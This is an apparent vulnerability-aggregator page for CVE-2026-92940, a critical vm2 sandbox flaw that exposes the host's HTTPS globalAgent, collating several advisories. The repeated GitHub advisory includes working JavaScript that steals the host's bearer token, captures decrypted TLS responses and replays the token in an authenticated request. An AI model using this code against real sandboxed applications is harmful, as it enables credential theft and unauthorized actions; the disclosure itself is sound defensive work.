CVE-2026-92940
vm2 3.11.3 through 3.11.6 HTTPS Credential Exposure via globalAgent
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
10.0
vm2 3.11.3 through 3.11.6 HTTPS Credential Exposure via globalAgent
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
- Record
CVE-2026-92940- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-668
- Updated
- 2026-11-02
EUVDEUVD-2026-81590
10.0
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
- Record
EUVD-2026-81590- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5843-9mh5-hhgw
10.0
Duplicate Advisory: vm2 exposes host HTTPS credentials and TLS traffic through globalAgent
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h85j-hv3c-qfgq. This link is maintained to preserve external references.
Original Description
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
- Record
GHSA-5843-9mh5-hhgw- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-668
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h85j-hv3c-qfgq
10.0
vm2 exposes host HTTPS credentials and TLS traffic through globalAgent
Summary
vm2 3.11.6 exposes the host process's real https.globalAgent when a NodeVM is explicitly allowed to require https. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a free listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.
In a contained test, sandbox code allowed only the https builtin:
- read the host request's bearer token from the agent event;
- attached a data listener to the released host TLS socket and read the next host response body in plaintext;
- learned the private service host and port;
- sent an attacker-chosen authenticated POST using the stolen host token; and
- received confirmation that the service accepted the action.
The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.
Details
The vulnerable boundary is the default builtin loader in lib/builtin.js:
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.
https.globalAgent is the default agent used by host HTTPS requests when the host does not supply a separate agent. The agent is shared by the entire Node.js thread. Its free event supplies both:
- the
TLSSocketthat has just completed a request and is available for reuse; and - the connection/request options used to place that socket in the pool.
The following sandbox code registers directly on that host singleton:
const https = require('https');
https.globalAgent.on('free', (socket, options) => {
const token = options.headers.Authorization;
const destination = {host: options.host, port: options.port};
socket.on('data', chunk => {
capturedHostTraffic += chunk.toString('utf8');
});
const req = https.request({
hostname: destination.host,
port: destination.port,
path: '/sandbox-action',
method: 'POST',
headers: {Authorization: token},
agent: false,
});
req.end(attackerChosenBody);
});
Calling .on() is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits free, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling socket.on() also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.
The complete exploit flow is:
attacker-controlled NodeVM program with https allowed
-> subscribe to the real host https.globalAgent
-> unrelated host HTTPS request completes
-> shared Agent emits live socket and request options into sandbox callback
-> sandbox reads host Authorization token and private destination
-> sandbox attaches to the released TLSSocket
-> next host response is exposed in plaintext
-> sandbox reuses stolen token for attacker-chosen authenticated request
This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify https as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.
PoC
The attached PoC uses only a temporary certificate and a loopback HTTPS server.
-
Install Node.js and OpenSSL.
-
In the attached
pocdirectory, run:npm install --ignore-scripts node…
- Record
GHSA-h85j-hv3c-qfgq- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-668
- Updated
- 2026-11-02
NVD
10.0
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
- Record
CVE-2026-92940- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-668
- Updated
- 2026-11-02
OSV
10.0
vm2 3.11.3 through 3.11.6 HTTPS Credential Exposure via globalAgent
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
- Record
CVE-2026-92940- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L - Weakness
- CWE-668
- Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-5843-9mh5-hhgw
10.0
Duplicate Advisory: vm2 exposes host HTTPS credentials and TLS traffic through globalAgent
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h85j-hv3c-qfgq. This link is maintained to preserve external references.
Original Description
vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.
- Record
GHSA-5843-9mh5-hhgw- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-668
- Updated
- 2026-11-02
OSVGHSA-h85j-hv3c-qfgq
10.0
vm2 exposes host HTTPS credentials and TLS traffic through globalAgent
Summary
vm2 3.11.6 exposes the host process's real https.globalAgent when a NodeVM is explicitly allowed to require https. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a free listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.
In a contained test, sandbox code allowed only the https builtin:
- read the host request's bearer token from the agent event;
- attached a data listener to the released host TLS socket and read the next host response body in plaintext;
- learned the private service host and port;
- sent an attacker-chosen authenticated POST using the stolen host token; and
- received confirmation that the service accepted the action.
The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.
Details
The vulnerable boundary is the default builtin loader in lib/builtin.js:
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.
https.globalAgent is the default agent used by host HTTPS requests when the host does not supply a separate agent. The agent is shared by the entire Node.js thread. Its free event supplies both:
- the
TLSSocketthat has just completed a request and is available for reuse; and - the connection/request options used to place that socket in the pool.
The following sandbox code registers directly on that host singleton:
const https = require('https');
https.globalAgent.on('free', (socket, options) => {
const token = options.headers.Authorization;
const destination = {host: options.host, port: options.port};
socket.on('data', chunk => {
capturedHostTraffic += chunk.toString('utf8');
});
const req = https.request({
hostname: destination.host,
port: destination.port,
path: '/sandbox-action',
method: 'POST',
headers: {Authorization: token},
agent: false,
});
req.end(attackerChosenBody);
});
Calling .on() is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits free, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling socket.on() also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.
The complete exploit flow is:
attacker-controlled NodeVM program with https allowed
-> subscribe to the real host https.globalAgent
-> unrelated host HTTPS request completes
-> shared Agent emits live socket and request options into sandbox callback
-> sandbox reads host Authorization token and private destination
-> sandbox attaches to the released TLSSocket
-> next host response is exposed in plaintext
-> sandbox reuses stolen token for attacker-chosen authenticated request
This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify https as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.
PoC
The attached PoC uses only a temporary certificate and a loopback HTTPS server.
-
Install Node.js and OpenSSL.
-
In the attached
pocdirectory, run:npm install --ignore-scripts node…
- Record
GHSA-h85j-hv3c-qfgq- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-668
- Updated
- 2026-11-02
OSVCLSA-2026-1790888247 No score
TuxCare security update for vm2 (15 CVEs)
TuxCare rebuilt vm2 to address 15 CVEs. Fixed in 3.11.5-tuxcare.3.
- Record
CLSA-2026-1790888247- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-92940 No score
CVE-2026-92940 in vm2 - Patched by Root
Root has patched CVE-2026-92940 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-92940- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
3.11.3 to 3.11.6 | 3.11.7 |
vm2TuxCare:npm From an advisory covering 13 CVEs |
3.11.5-tuxcare.0 up to 3.11.5-tuxcare.3, plus listed versions 3.11.53.11.5-tuxcare.13.11.5-tuxcare.2 |
3.11.5-tuxcare.3 |
vm2npm |
3.11.3 up to 3.11.7 | 3.11.7 |
vm2Root:npm |
before 3.11.6-aikido.1 | 3.11.6-aikido.1 |
@rootio/vm2Root:npm |
before 3.11.6-root.io.1 | 3.11.6-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-92940 is a critical vulnerability (CVSS 10.0) in Patriksimek Vm2, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 36th percentile. Fixed in vm2 3.11.7.
References
github.com/patriksimek/vm2/security/advisories/GHSA-h85j-hv3c-qfgq
vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-https-credential-exposure-via-globalagent
nvd.nist.gov/vuln/detail/CVE-2026-92940
github.com/advisories/GHSA-5843-9mh5-hhgw
github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa
github.com/patriksimek/vm2/releases/tag/v3.11.7
github.com/advisories/GHSA-h85j-hv3c-qfgq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92940.json
github.com/patriksimek/vm2
Left out here: the rest of 2 source descriptions. The JSON record has them.